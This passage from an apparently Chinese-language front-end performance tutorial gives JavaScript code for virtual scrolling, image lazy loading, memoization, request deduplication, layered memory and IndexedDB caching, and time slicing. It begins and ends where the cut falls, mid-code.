    // 查找结束索引
    let currentHeight = scrollTop;
    this.endIndex = this.startIndex;
    
    while (
      this.endIndex < this.totalItems &&
      currentHeight < scrollTop + viewportHeight
    ) {
      currentHeight += this.itemHeights[this.endIndex] || this.estimateHeight;
      this.endIndex++;
    }
    
    this.endIndex = Math.min(
      this.totalItems - 1,
      this.endIndex + this.bufferSize
    );
  }

  renderVisibleItems() {
    // 更新可见项
    const newVisibleItems = [];
    
    for (let i = this.startIndex; i <= this.endIndex; i++) {
      let itemElement = this.cachedItems.get(i);
      
      if (!itemElement) {
        itemElement = document.createElement('div');
        itemElement.style.position = 'absolute';
        itemElement.style.top = `${this.itemPositions[i]}px`;
        itemElement.style.width = '100%';
        
        this.renderItem(itemElement, i);
        this.cachedItems.set(i, itemElement);
        this.content.appendChild(itemElement);
        
        // 测量实际高度
        if (this.itemHeights[i] === null) {
          this.itemHeights[i] = itemElement.offsetHeight;
          this.calculatePositions();
          this.updateContentHeight();
          
          // 重新计算位置
          itemElement.style.top = `${this.itemPositions[i]}px`;
        }
      }
      
      newVisibleItems.push({ index: i, element: itemElement });
    }
    
    // 隐藏不在可视区域的元素
    this.visibleItems.forEach(({ index, element }) => {
      if (index < this.startIndex || index > this.endIndex) {
        element.style.display = 'none';
      }
    });
    
    // 显示可见元素
    newVisibleItems.forEach(({ index, element }) => {
      element.style.display = '';
      element.style.top = `${this.itemPositions[index]}px`;
    });
    
    this.visibleItems = newVisibleItems;
  }

  handleScroll() {
    requestAnimationFrame(() => {
      this.calculateVisibleRange();
      this.renderVisibleItems();
    });
  }

  updateItem(index, data) {
    const itemElement = this.cachedItems.get(index);
    if (itemElement) {
      const oldHeight = this.itemHeights[index] || this.estimateHeight;
      
      this.renderItem(itemElement, index, data);
      
      const newHeight = itemElement.offsetHeight;
      if (oldHeight !== newHeight) {
        this.itemHeights[index] = newHeight;
        this.calculatePositions();
        this.updateContentHeight();
        this.renderVisibleItems();
      }
    }
  }
}

二、图片懒加载(Lazy Loading)

2.1 基于IntersectionObserver的实现
class LazyImageLoader {
  constructor(options = {}) {
    this.options = {
      root: null,
      rootMargin: '0px',
      threshold: 0.1,
      placeholder: 'data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7',
      errorImage: null,
      loadingClass: 'lazy-loading',
      loadedClass: 'lazy-loaded',
      errorClass: 'lazy-error',
      ...options
    };
    
    this.images = new Map();
    this.observer = null;
    this.fallbackTimeout = 3000; // 降级超时时间
    
    this.init();
  }

  init() {
    if ('IntersectionObserver' in window) {
      this.observer = new IntersectionObserver(
        this.handleIntersection.bind(this),
        this.options
      );
    } else {
      this.useFallback();
    }
    
    // 预连接DNS和预加载
    this.addPreconnect();
  }

  addPreconnect() {
    const domains = new Set();
    
    // 收集所有图片的域名
    document.querySelectorAll('img[data-src]').forEach(img => {
      const src = img.getAttribute('data-src');
      if (src) {
        try {
          const url = new URL(src, window.location.origin);
          domains.add(url.origin);
        } catch (e) {
          console.warn('Invalid URL:', src);
        }
      }
    });
    
    // 添加preconnect链接
    domains.forEach(domain => {
      const link = document.createElement('link');
      link.rel = 'preconnect';
      link.href = domain;
      link.crossOrigin = 'anonymous';
      document.head.appendChild(link);
    });
  }

  registerImage(imgElement) {
    if (!(imgElement instanceof HTMLImageElement)) {
      throw new Error('Element must be an image');
    }

    const src = imgElement.getAttribute('data-src');
    if (!src) return;

    // 保存原始属性
    imgElement.setAttribute('data-lazy-src', src);
    
    // 设置占位符
    if (imgElement.src !== this.options.placeholder) {
      imgElement.setAttribute('data-original-src', imgElement.src);
      imgElement.src = this.options.placeholder;
    }
    
    imgElement.classList.add(this.options.loadingClass);
    
    // 添加到观察列表
    this.images.set(imgElement, {
      src,
      loaded: false,
      loadAttempted: false,
      observerAttached: false
    });
    
    this.attachObserver(imgElement);
  }

  attachObserver(imgElement) {
    if (this.observer && !this.images.get(imgElement)?.observerAttached) {
      this.observer.observe(imgElement);
      this.images.get(imgElement).observerAttached = true;
    }
  }

  handleIntersection(entries) {
    entries.forEach(entry => {
      if (entry.isIntersecting) {
        const img = entry.target;
        this.loadImage(img);
        this.observer?.unobserve(img);
      }
    });
  }

  async loadImage(imgElement) {
    const imageData = this.images.get(imgElement);
    if (!imageData || imageData.loadAttempted) return;

    imageData.loadAttempted = true;
    
    // 移除加载类,添加加载中类
    imgElement.classList.remove(this.options.loadingClass);
    imgElement.classList.add(this.options.loadingClass);
    
    // 创建加载超时
    const loadTimeout = setTimeout(() => {
      if (!imageData.loaded) {
        this.handleImageError(imgElement, new Error('Image load timeout'));
      }
    }, this.fallbackTimeout);
    
    try {
      // 预加载图片
      await this.preloadImage(imageData.src);
      
      // 应用图片
      this.applyImage(imgElement, imageData.src);
      
      clearTimeout(loadTimeout);
      
      // 更新状态
      imageData.loaded = true;
      imgElement.classList.remove(this.options.loadingClass);
      imgElement.classList.add(this.options.loadedClass);
      
      // 触发事件
      this.dispatchEvent(imgElement, 'lazyload', { src: imageData.src });
      
      // 预加载相邻图片
      this.preloadAdjacentImages(imgElement);
      
    } catch (error) {
      this.handleImageError(imgElement, error);
    }
  }

  async preloadImage(src) {
    return new Promise((resolve, reject) => {
      const img = new Image();
      
      img.onload = () => {
        img.onload = img.onerror = null;
        resolve(img);
      };
      
      img.onerror = (err) => {
        img.onload = img.onerror = null;
        reject(new Error(`Failed to load image: ${src}`));
      };
      
      // 设置crossOrigin属性
      if (src.startsWith('http')) {
        img.crossOrigin = 'anonymous';
      }
      
      img.src = src;
    });
  }

  applyImage(imgElement, src) {
    // 使用requestAnimationFrame确保流畅
    requestAnimationFrame(() => {
      imgElement.src = src;
      
      // 如果有srcset也更新
      const srcset = imgElement.getAttribute('data-srcset');
      if (srcset) {
        imgElement.srcset = srcset;
        imgElement.removeAttribute('data-srcset');
      }
      
      // 移除data-src属性
      imgElement.removeAttribute('data-src');
      imgElement.removeAttribute('data-lazy-src');
    });
  }

  preloadAdjacentImages(currentImg) {
    const allImages = Array.from(this.images.keys());
    const currentIndex = allImages.indexOf(currentImg);
    
    if (currentIndex !== -1) {
      // 预加载前后各2张图片
      const indices = [
        currentIndex - 2, currentIndex - 1,
        currentIndex + 1, currentIndex + 2
      ];
      
      indices.forEach(index => {
        if (index >= 0 && index < allImages.length) {
          const img = allImages[index];
          const imgData = this.images.get(img);
          
          if (!imgData.loaded && !imgData.loadAttempted) {
            this.attachObserver(img);
          }
        }
      });
    }
  }

  handleImageError(imgElement, error) {
    const imageData = this.images.get(imgElement);
    
    imgElement.classList.remove(this.options.loadingClass);
    imgElement.classList.add(this.options.errorClass);
    
    // 设置错误图片
    if (this.options.errorImage) {
      imgElement.src = this.options.errorImage;
    }
    
    // 恢复原始图片(如果有)
    const originalSrc = imgElement.getAttribute('data-original-src');
    if (originalSrc && originalSrc !== this.options.placeholder) {
      imgElement.src = originalSrc;
    }
    
    console.error('Lazy image load error:', error);
    this.dispatchEvent(imgElement, 'lazyloaderror', { 
      src: imageData?.src, 
      error 
    });
  }

  dispatchEvent(element, eventName, detail) {
    const event = new CustomEvent(eventName, { 
      bubbles: true,
      detail 
    });
    element.dispatchEvent(event);
  }

  useFallback() {
    // 降级方案:滚动监听
    window.addEventListener('scroll', this.handleScrollFallback.bind(this));
    window.addEventListener('resize', this.handleScrollFallback.bind(this));
    window.addEventListener('orientationchange', this.handleScrollFallback.bind(this));
    
    // 初始检查
    setTimeout(() => this.handleScrollFallback(), 100);
  }

  handleScrollFallback() {
    const viewportHeight = window.innerHeight;
    const scrollTop = window.scrollY;
    
    this.images.forEach((imageData, imgElement) => {
      if (!imageData.loaded && !imageData.loadAttempted) {
        const rect = imgElement.getBoundingClientRect();
        const elementTop = rect.top + scrollTop;
        const elementBottom = rect.bottom + scrollTop;
        
        // 判断是否在可视区域内(带缓冲区)
        if (
          elementBottom >= scrollTop - 500 && 
          elementTop <= scrollTop + viewportHeight + 500
        ) {
          this.loadImage(imgElement);
        }
      }
    });
  }

  // 批量注册
  registerAll(selector = 'img[data-src]') {
    const images = document.querySelectorAll(selector);
    images.forEach(img => this.registerImage(img));
    
    // 监听动态添加的图片
    if ('MutationObserver' in window) {
      this.mutationObserver = new MutationObserver((mutations) => {
        mutations.forEach(mutation => {
          mutation.addedNodes.forEach(node => {
            if (node.nodeType === 1) { // 元素节点
              if (node.matches && node.matches(selector)) {
                this.registerImage(node);
              }
              if (node.querySelectorAll) {
                node.querySelectorAll(selector).forEach(img => {
                  this.registerImage(img);
                });
              }
            }
          });
        });
      });
      
      this.mutationObserver.observe(document.body, {
        childList: true,
        subtree: true
      });
    }
  }

  // 手动触发加载
  loadImageNow(imgElement) {
    if (this.images.has(imgElement)) {
      this.loadImage(imgElement);
    }
  }

  // 销毁
  destroy() {
    if (this.observer) {
      this.observer.disconnect();
    }
    
    if (this.mutationObserver) {
      this.mutationObserver.disconnect();
    }
    
    window.removeEventListener('scroll', this.handleScrollFallback);
    window.removeEventListener('resize', this.handleScrollFallback);
    window.removeEventListener('orientationchange', this.handleScrollFallback);
    
    this.images.clear();
  }
}

// 使用示例
const lazyLoader = new LazyImageLoader({
  threshold: 0.01,
  placeholder: '/path/to/placeholder.jpg',
  errorImage: '/path/to/error.jpg'
});

// 注册所有懒加载图片
document.addEventListener('DOMContentLoaded', () => {
  lazyLoader.registerAll();
});

// 动态添加图片
const newImage = document.createElement('img');
newImage.setAttribute('data-src', '/path/to/image.jpg');
document.body.appendChild(newImage);
lazyLoader.registerImage(newImage);
2.2 背景图片懒加载
class LazyBackgroundLoader extends LazyImageLoader {
  constructor(options = {}) {
    super(options);
    this.attributeName = options.attributeName || 'data-bg';
  }

  registerElement(element) {
    const bgSrc = element.getAttribute(this.attributeName);
    if (!bgSrc) return;

    this.images.set(element, {
      src: bgSrc,
      loaded: false,
      loadAttempted: false,
      observerAttached: false
    });

    this.attachObserver(element);
  }

  async loadImage(element) {
    const elementData = this.images.get(element);
    if (!elementData || elementData.loadAttempted) return;

    elementData.loadAttempted = true;

    try {
      await this.preloadImage(elementData.src);
      
      requestAnimationFrame(() => {
        element.style.backgroundImage = `url("${elementData.src}")`;
        element.removeAttribute(this.attributeName);
        
        elementData.loaded = true;
        element.classList.add(this.options.loadedClass);
        
        this.dispatchEvent(element, 'lazyload', { src: elementData.src });
      });
    } catch (error) {
      this.handleImageError(element, error);
    }
  }

  registerAll(selector = `[${this.attributeName}]`) {
    const elements = document.querySelectorAll(selector);
    elements.forEach(el => this.registerElement(el));
  }
}

三、函数记忆化(Memoization)

3.1 基础记忆化实现
function memoize(fn, options = {}) {
  const {
    maxSize = Infinity,
    keyResolver = (...args) => JSON.stringify(args),
    ttl = null, // 生存时间(毫秒)
    cache = new Map()
  } = options;
  
  const stats = {
    hits: 0,
    misses: 0,
    size: 0
  };
  
  // 创建LRU缓存(最近最少使用)
  const lruKeys = [];
  
  const memoized = function(...args) {
    const key = keyResolver(...args);
    
    // 检查缓存
    if (cache.has(key)) {
      const entry = cache.get(key);
      
      // 检查TTL
      if (ttl && Date.now() - entry.timestamp > ttl) {
        cache.delete(key);
        stats.size--;
        stats.misses++;
      } else {
        // 更新LRU顺序
        if (maxSize < Infinity) {
          const index = lruKeys.indexOf(key);
          if (index > -1) {
            lruKeys.splice(index, 1);
            lruKeys.unshift(key);
          }
        }
        
        stats.hits++;
        return entry.value;
      }
    }
    
    // 计算新值
    stats.misses++;
    const result = fn.apply(this, args);
    
    // 缓存结果
    const entry = {
      value: result,
      timestamp: Date.now()
    };
    
    cache.set(key, entry);
    stats.size++;
    
    // 处理LRU缓存
    if (maxSize < Infinity) {
      lruKeys.unshift(key);
      
      if (cache.size > maxSize) {
        const lruKey = lruKeys.pop();
        cache.delete(lruKey);
        stats.size--;
      }
    }
    
    return result;
  };
  
  // 添加工具方法
  memoized.clear = function() {
    cache.clear();
    lruKeys.length = 0;
    stats.hits = stats.misses = stats.size = 0;
  };
  
  memoized.delete = function(...args) {
    const key = keyResolver(...args);
    const deleted = cache.delete(key);
    if (deleted) {
      const index = lruKeys.indexOf(key);
      if (index > -1) lruKeys.splice(index, 1);
      stats.size--;
    }
    return deleted;
  };
  
  memoized.has = function(...args) {
    const key = keyResolver(...args);
    return cache.has(key);
  };
  
  memoized.getStats = function() {
    return { ...stats };
  };
  
  memoized.getCache = function() {
    return new Map(cache);
  };
  
  return memoized;
}

// 使用示例
function expensiveCalculation(n) {
  console.log('Calculating...', n);
  let result = 0;
  for (let i = 0; i < n * 1000000; i++) {
    result += Math.sqrt(i);
  }
  return result;
}

const memoizedCalculation = memoize(expensiveCalculation, {
  maxSize: 100,
  ttl: 60000 // 1分钟缓存
});

// 第一次调用会计算
console.log(memoizedCalculation(10));
// 第二次调用直接从缓存读取
console.log(memoizedCalculation(10));

// 查看统计
console.log(memoizedCalculation.getStats());
3.2 异步函数记忆化
function memoizeAsync(fn, options = {}) {
  const {
    maxSize = Infinity,
    keyResolver = (...args) => JSON.stringify(args),
    ttl = null
  } = options;
  
  const cache = new Map();
  const pendingPromises = new Map();
  const lruKeys = [];
  
  const memoized = async function(...args) {
    const key = keyResolver(...args);
    
    // 检查缓存
    if (cache.has(key)) {
      const entry = cache.get(key);
      
      if (ttl && Date.now() - entry.timestamp > ttl) {
        cache.delete(key);
        const index = lruKeys.indexOf(key);
        if (index > -1) lruKeys.splice(index, 1);
      } else {
        if (maxSize < Infinity) {
          const index = lruKeys.indexOf(key);
          if (index > -1) {
            lruKeys.splice(index, 1);
            lruKeys.unshift(key);
          }
        }
        return entry.value;
      }
    }
    
    // 检查是否已经在执行中
    if (pendingPromises.has(key)) {
      return pendingPromises.get(key);
    }
    
    // 创建新的Promise
    const promise = (async () => {
      try {
        const result = await fn.apply(this, args);
        
        // 缓存结果
        cache.set(key, {
          value: result,
          timestamp: Date.now()
        });
        
        if (maxSize < Infinity) {
          lruKeys.unshift(key);
          
          if (cache.size > maxSize) {
            const lruKey = lruKeys.pop();
            cache.delete(lruKey);
          }
        }
        
        return result;
      } finally {
        pendingPromises.delete(key);
      }
    })();
    
    pendingPromises.set(key, promise);
    return promise;
  };
  
  memoized.clear = () => {
    cache.clear();
    pendingPromises.clear();
    lruKeys.length = 0;
  };
  
  memoized.delete = (...args) => {
    const key = keyResolver(...args);
    const deleted = cache.delete(key);
    if (deleted) {
      const index = lruKeys.indexOf(key);
      if (index > -1) lruKeys.splice(index, 1);
    }
    pendingPromises.delete(key);
    return deleted;
  };
  
  memoized.has = (...args) => {
    const key = keyResolver(...args);
    return cache.has(key);
  };
  
  return memoized;
}

// 使用示例
async function fetchUserData(userId) {
  console.log('Fetching user data for:', userId);
  const response = await fetch(`/api/users/${userId}`);
  return response.json();
}

const memoizedFetchUserData = memoizeAsync(fetchUserData, {
  ttl: 30000 // 30秒缓存
});

// 多个组件同时请求同一个用户数据
Promise.all([
  memoizedFetchUserData(1),
  memoizedFetchUserData(1),
  memoizedFetchUserData(1)
]).then(results => {
  console.log('All results:', results);
  // 只会有一次实际的网络请求
});
3.3 React Hook记忆化
import { useRef, useCallback } from 'react';

function useMemoizedCallback(fn, dependencies = []) {
  const cacheRef = useRef(new Map());
  const fnRef = useRef(fn);
  
  // 更新函数引用
  fnRef.current = fn;
  
  const memoizedFn = useCallback((...args) => {
    const cache = cacheRef.current;
    const key = JSON.stringify(args);
    
    if (cache.has(key)) {
      return cache.get(key);
    }
    
    const result = fnRef.current(...args);
    cache.set(key, result);
    return result;
  }, dependencies);
  
  // 清理函数
  const clearCache = useCallback(() => {
    cacheRef.current.clear();
  }, []);
  
  return [memoizedFn, clearCache];
}

// React组件使用示例
function ExpensiveComponent({ data }) {
  const [processData, clearCache] = useMemoizedCallback(
    (item) => {
      // 昂贵的计算
      return item.value * Math.sqrt(item.weight);
    },
    [data]
  );
  
  return (
    <div>
      {data.map(item => (
        <div key={item.id}>
          {processData(item)}
        </div>
      ))}
      <button onClick={clearCache}>Clear Cache</button>
    </div>
  );
}

四、请求防重和缓存(Deduplication & Caching)

4.1 请求防重系统
class RequestDeduplicator {
  constructor(options = {}) {
    this.options = {
      defaultTtl: 60000, // 默认缓存时间1分钟
      maxCacheSize: 100,
      ...options
    };
    
    this.pendingRequests = new Map();
    this.cache = new Map();
    this.cacheTimestamps = new Map();
    this.stats = {
      duplicatesPrevented: 0,
      cacheHits: 0,
      cacheMisses: 0
    };
  }

  generateKey(config) {
    // 生成请求的唯一标识符
    const { url, method = 'GET', params = {}, data = {} } = config;
    
    const keyParts = [
      method.toUpperCase(),
      url,
      JSON.stringify(params),
      JSON.stringify(data)
    ];
    
    return keyParts.join('|');
  }

  async request(config) {
    const key = this.generateKey(config);
    const now = Date.now();
    
    // 检查缓存
    if (this.cache.has(key)) {
      const { data, timestamp } = this.cache.get(key);
      const ttl = config.ttl || this.options.defaultTtl;
      
      if (now - timestamp < ttl) {
        this.stats.cacheHits++;
        return Promise.resolve(data);
      } else {
        // 缓存过期
        this.cache.delete(key);
        this.cacheTimestamps.delete(key);
      }
    }
    
    this.stats.cacheMisses++;
    
    // 检查是否有相同的请求正在进行中
    if (this.pendingRequests.has(key)) {
      this.stats.duplicatesPrevented++;
      return this.pendingRequests.get(key);
    }
    
    // 创建新的请求
    const requestPromise = this.executeRequest(config);
    
    // 存储进行中的请求
    this.pendingRequests.set(key, requestPromise);
    
    try {
      const result = await requestPromise;
      
      // 缓存成功的结果
      if (config.cache !== false) {
        this.cache.set(key, {
          data: result,
          timestamp: now
        });
        this.cacheTimestamps.set(key, now);
        
        // 清理过期的缓存
        this.cleanupCache();
      }
      
      return result;
    } finally {
      // 移除进行中的请求
      this.pendingRequests.delete(key);
    }
  }

  async executeRequest(config) {
    const { url, method = 'GET', params = {}, data = {}, headers = {} } = config;
    
    // 构建请求URL
    let requestUrl = url;
    if (params && Object.keys(params).length > 0) {
      const queryString = new URLSearchParams(params).toString();
      requestUrl += `?${queryString}`;
    }
    
    // 发送请求
    const response = await fetch(requestUrl, {
      method,
      headers: {
        'Content-Type': 'application/json',
        ...headers
      },
      body: method !== 'GET' && method !== 'HEAD' ? JSON.stringify(data) : undefined
    });
    
    if (!response.ok) {
      throw new Error(`Request failed: ${response.status}`);
    }
    
    return response.json();
  }

  cleanupCache() {
    const now = Date.now();
    const maxAge = this.options.defaultTtl;
    
    // 清理过期缓存
    for (const [key, timestamp] of this.cacheTimestamps.entries()) {
      if (now - timestamp > maxAge) {
        this.cache.delete(key);
        this.cacheTimestamps.delete(key);
      }
    }
    
    // 清理超出大小的缓存
    if (this.cache.size > this.options.maxCacheSize) {
      const sortedEntries = Array.from(this.cacheTimestamps.entries())
        .sort(([, a], [, b]) => a - b);
      
      const entriesToRemove = sortedEntries.slice(
        0,
        this.cache.size - this.options.maxCacheSize
      );
      
      entriesToRemove.forEach(([key]) => {
        this.cache.delete(key);
        this.cacheTimestamps.delete(key);
      });
    }
  }

  // 手动清理缓存
  clearCache(urlPattern) {
    if (urlPattern) {
      for (const key of this.cache.keys()) {
        if (key.includes(urlPattern)) {
          this.cache.delete(key);
          this.cacheTimestamps.delete(key);
        }
      }
    } else {
      this.cache.clear();
      this.cacheTimestamps.clear();
    }
  }

  // 预加载数据
  prefetch(config) {
    const key = this.generateKey(config);
    
    if (!this.cache.has(key) && !this.pendingRequests.has(key)) {
      this.request(config).catch(() => {
        // 静默失败,预加载不影响主流程
      });
    }
  }

  getStats() {
    return {
      ...this.stats,
      pendingRequests: this.pendingRequests.size,
      cachedResponses: this.cache.size
    };
  }
}

// 使用示例
const deduplicator = new RequestDeduplicator({
  defaultTtl: 30000, // 30秒
  maxCacheSize: 50
});

// 多个组件同时请求相同的数据
async function fetchUserProfile(userId) {
  const config = {
    url: `/api/users/${userId}`,
    method: 'GET',
    ttl: 60000 // 此请求特定缓存时间
  };
  
  return deduplicator.request(config);
}

// 在多个地方同时调用
Promise.all([
  fetchUserProfile(1),
  fetchUserProfile(1),
  fetchUserProfile(1)
]).then(results => {
  console.log('Results:', results);
  console.log('Stats:', deduplicator.getStats());
});

// 预加载
deduplicator.prefetch({
  url: '/api/products',
  params: { page: 1, limit: 20 }
});
4.2 分层缓存系统
class LayeredCache {
  constructor(options = {}) {
    this.layers = [];
    this.options = {
      defaultTtl: 300000, // 5分钟
      ...options
    };
    
    this.stats = {
      layerHits: {},
      totalHits: 0,
      totalMisses: 0
    };
  }

  addLayer(layer) {
    if (!layer.get || !layer.set || !layer.delete || !layer.clear) {
      throw new Error('Cache layer must implement get, set, delete, and clear methods');
    }
    
    this.layers.push(layer);
    this.stats.layerHits[layer.name || `layer_${this.layers.length}`] = 0;
  }

  async get(key) {
    this.stats.totalHits++;
    
    // 从上层开始查找
    for (let i = 0; i < this.layers.length; i++) {
      const layer = this.layers[i];
      const layerName = layer.name || `layer_${i + 1}`;
      
      try {
        const value = await layer.get(key);
        
        if (value !== undefined && value !== null) {
          // 命中,更新统计
          this.stats.layerHits[layerName] = (this.stats.layerHits[layerName] || 0) + 1;
          
          // 将数据复制到上层缓存(提升)
          for (let j = 0; j < i; j++) {
            this.layers[j].set(key, value, this.options.defaultTtl).catch(() => {});
          }
          
          return value;
        }
      } catch (error) {
        console.warn(`Cache layer ${layerName} error:`, error);
        // 继续尝试下一层
      }
    }
    
    this.stats.totalMisses++;
    return null;
  }

  async set(key, value, ttl = this.options.defaultTtl) {
    // 设置所有层级的缓存
    const promises = this.layers.map(layer => 
      layer.set(key, value, ttl).catch(() => {})
    );
    
    await Promise.all(promises);
    return value;
  }

  async delete(key) {
    // 删除所有层级的缓存
    const promises = this.layers.map(layer => 
      layer.delete(key).catch(() => {})
    );
    
    await Promise.all(promises);
  }

  async clear() {
    const promises = this.layers.map(layer => 
      layer.clear().catch(() => {})
    );
    
    await Promise.all(promises);
  }

  getStats() {
    return {
      ...this.stats,
      hitRate: this.stats.totalHits > 0 
        ? (this.stats.totalHits - this.stats.totalMisses) / this.stats.totalHits 
        : 0
    };
  }
}

// 内存缓存层实现
class MemoryCacheLayer {
  constructor(name = 'memory') {
    this.name = name;
    this.cache = new Map();
    this.timestamps = new Map();
  }

  async get(key) {
    const value = this.cache.get(key);
    
    if (value === undefined) return null;
    
    const timestamp = this.timestamps.get(key);
    if (timestamp && Date.now() > timestamp) {
      // 已过期
      this.cache.delete(key);
      this.timestamps.delete(key);
      return null;
    }
    
    return value;
  }

  async set(key, value, ttl) {
    this.cache.set(key, value);
    
    if (ttl) {
      this.timestamps.set(key, Date.now() + ttl);
    }
    
    return value;
  }

  async delete(key) {
    this.cache.delete(key);
    this.timestamps.delete(key);
  }

  async clear() {
    this.cache.clear();
    this.timestamps.clear();
  }
}

// IndexedDB缓存层实现
class IndexedDBCacheLayer {
  constructor(name = 'indexeddb', dbName = 'cache_db', storeName = 'cache_store') {
    this.name = name;
    this.dbName = dbName;
    this.storeName = storeName;
    this.db = null;
    
    this.initDB();
  }

  async initDB() {
    return new Promise((resolve, reject) => {
      const request = indexedDB.open(this.dbName, 1);
      
      request.onupgradeneeded = (event) => {
        const db = event.target.result;
        if (!db.objectStoreNames.contains(this.storeName)) {
          db.createObjectStore(this.storeName);
        }
      };
      
      request.onsuccess = (event) => {
        this.db = event.target.result;
        resolve();
      };
      
      request.onerror = (event) => {
        reject(event.target.error);
      };
    });
  }

  async get(key) {
    if (!this.db) await this.initDB();
    
    return new Promise((resolve, reject) => {
      const transaction = this.db.transaction([this.storeName], 'readonly');
      const store = transaction.objectStore(this.storeName);
      const request = store.get(key);
      
      request.onsuccess = () => {
        const result = request.result;
        if (result && result.expires && Date.now() > result.expires) {
          // 已过期,删除
          this.delete(key);
          resolve(null);
        } else {
          resolve(result ? result.value : null);
        }
      };
      
      request.onerror = () => reject(request.error);
    });
  }

  async set(key, value, ttl) {
    if (!this.db) await this.initDB();
    
    return new Promise((resolve, reject) => {
      const transaction = this.db.transaction([this.storeName], 'readwrite');
      const store = transaction.objectStore(this.storeName);
      
      const item = {
        value,
        expires: ttl ? Date.now() + ttl : null,
        timestamp: Date.now()
      };
      
      const request = store.put(item, key);
      
      request.onsuccess = () => resolve(value);
      request.onerror = () => reject(request.error);
    });
  }

  async delete(key) {
    if (!this.db) await this.initDB();
    
    return new Promise((resolve, reject) => {
      const transaction = this.db.transaction([this.storeName], 'readwrite');
      const store = transaction.objectStore(this.storeName);
      const request = store.delete(key);
      
      request.onsuccess = () => resolve();
      request.onerror = () => reject(request.error);
    });
  }

  async clear() {
    if (!this.db) await this.initDB();
    
    return new Promise((resolve, reject) => {
      const transaction = this.db.transaction([this.storeName], 'readwrite');
      const store = transaction.objectStore(this.storeName);
      const request = store.clear();
      
      request.onsuccess = () => resolve();
      request.onerror = () => reject(request.error);
    });
  }
}

// 使用示例
const cache = new LayeredCache({
  defaultTtl: 300000 // 5分钟
});

// 添加内存缓存层(快速)
cache.addLayer(new MemoryCacheLayer('memory'));

// 添加IndexedDB缓存层(持久化)
cache.addLayer(new IndexedDBCacheLayer('indexeddb'));

// 使用缓存
async function getCachedData(key) {
  let data = await cache.get(key);
  
  if (!data) {
    // 从网络获取数据
    data = await fetchDataFromNetwork();
    await cache.set(key, data);
  }
  
  return data;
}

五、时间切片(Time Slicing)

5.1 基于requestIdleCallback的实现
class TimeSlicer {
  constructor(options = {}) {
    this.options = {
      timeout: 1000, // 超时时间
      taskChunkSize: 100, // 每个时间片处理的任务数
      ...options
    };
    
    this.tasks = [];
    this.isProcessing = false;
    this.currentIndex = 0;
    this.deferred = null;
    this.stats = {
      tasksProcessed: 0,
      timeSlicesUsed: 0,
      totalTime: 0
    };
  }

  addTask(task) {
    if (typeof task !== 'function') {
      throw new Error('Task must be a function');
    }
    
    this.tasks.push(task);
    return this;
  }

  addTasks(tasks) {
    tasks.forEach(task => this.addTask(task));
    return this;
  }

  process() {
    if (this.isProcessing) {
      return Promise.reject(new Error('Already processing'));
    }
    
    if (this.tasks.length === 0) {
      return Promise.resolve();
    }
    
    this.isProcessing = true;
    this.currentIndex = 0;
    this.stats.tasksProcessed = 0;
    this.stats.timeSlicesUsed = 0;
    this.stats.totalTime = 0;
    
    return new Promise((resolve, reject) => {
      this.deferred = { resolve, reject };
      this.processNextChunk();
    });
  }

  processNextChunk() {
    const startTime = performance.now();
    
    // 处理一个时间片的任务
    for (let i = 0; i < this.options.taskChunkSize; i++) {
      if (this.currentIndex >= this.tasks.length) {
        this.finishProcessing();
        return;
      }
      
      try {
        const task = this.tasks[this.currentIndex];
        task();
        this.currentIndex++;
        this.stats.tasksProcessed++;
      } catch (error) {
        this.handleError(error);
        return;
      }
    }
    
    const endTime = performance.now();
    this.stats.totalTime += endTime - startTime;
    
    // 检查是否还有任务
    if (this.currentIndex < this.tasks.length) {
      this.stats.timeSlicesUsed++;
      
      // 使用requestIdleCallback安排下一个时间片
      if ('requestIdleCallback' in window) {
        requestIdleCallback(
          () => this.processNextChunk(),
          { timeout: this.options.timeout }
        );
      } else {
        // 降级方案:使用setTimeout
        setTimeout(() => this.processNextChunk(), 0);
      }
    } else {
      this.finishProcessing();
    }
  }

  finishProcessing() {
    this.isProcessing = false;
    this.deferred.resolve({
      tasksProcessed: this.stats.tasksProcessed,
      timeSlicesUsed: this.stats.timeSlicesUsed,
      totalTime: this.stats.totalTime
    });
    this.deferred = null;
  }

  handleError(error) {
    this.isProcessing = false;
    this.deferred.reject(error);
    this.deferred = null;
  }

  clear() {
    this.tasks = [];
    this.isProcessing = false;
    this.currentIndex = 0;
  }

  getStats() {
    return { ...this.stats };
  }
}

// 使用示例
function createExpensiveTask(id) {
  return () => {
    console.log(`Processing task ${id}`);
    // 模拟耗时操作
    let sum = 0;
    for (let i = 0; i < 1000000; i++) {
      sum += Math.sqrt(i);
    }
    return sum;
  };
}

// 创建时间切片处理器
const slicer = new TimeSlicer({
  taskChunkSize: 50, // 每个时间片处理50个任务
  timeout: 2000 // 2秒超时
});

// 添加大量任务
for (let i = 0; i < 1000; i++) {
  slicer.addTask(createExpensiveTask(i));
}

// 开始处理
slicer.process().then(stats => {
  console.log('Processing completed:', stats);
}).catch(error => {
  console.error('Processing failed:', error);
});

// 可以在处理过程中添加新任务
setTimeout(() => {
  slicer.addTask(() => console.log('New task added during processing'));
}, 1000);
5.2 基于Generator的时间切片
function* taskGenerator(tasks) {
  for (let i = 0; i < tasks.length; i++) {
    yield tasks[i];
  }
}

class GeneratorTimeSlicer {
  constructor(options = {}) {
    this.options = {
      timePerSlice: 16, // 每个时间片16ms(大约一帧的时间)
      ...options
    };
    
    this.taskGenerator = null;
    this.isProcessing = false;
    this.stats = {
      tasksProcessed: 0,
      slicesUsed: 0,
      totalTime: 0
    };
  }

  processTasks(tasks) {
    if (this.isProcessing) {
      return Promise.reject(new Error('Already processing'));
    }
    
    this.isProcessing = true;
    this.taskGenerator = taskGenerator(tasks);
    this.stats = { tasksProcessed: 0, slicesUsed: 0, totalTime: 0 };
    
    return new Promise((resolve, reject) => {
      this.processNextSlice(resolve, reject);
    });
  }

  processNextSlice(resolve, reject) {
    if (!this.isProcessing) return;
    
    const sliceStart = performance.now();
    let taskResult;
    
    // 处理一个时间片
    while (true) {
      const { value: task, done } = this.taskGenerator.next();
      
      if (done) {
        this.isProcessing = false;
        resolve({
          ...this.stats,
          completed: true
        });
        return;
      }
      
      try {
        taskResult = task();
        this.stats.tasksProcessed++;
      } catch (error) {
        this.isProcessing = false;
        reject(error);
        return;
      }
      
      // 检查是否超过时间片限制
      if (performance.now() - sliceStart >= this.options.timePerSlice) {
        break;
      }
    }
    
    this.stats.slicesUsed++;
    this.stats.totalTime += performance.now() - sliceStart;
    
    // 安排下一个时间片
    if ('requestAnimationFrame' in window) {
      requestAnimationFrame(() => this.processNextSlice(resolve, reject));
    } else {
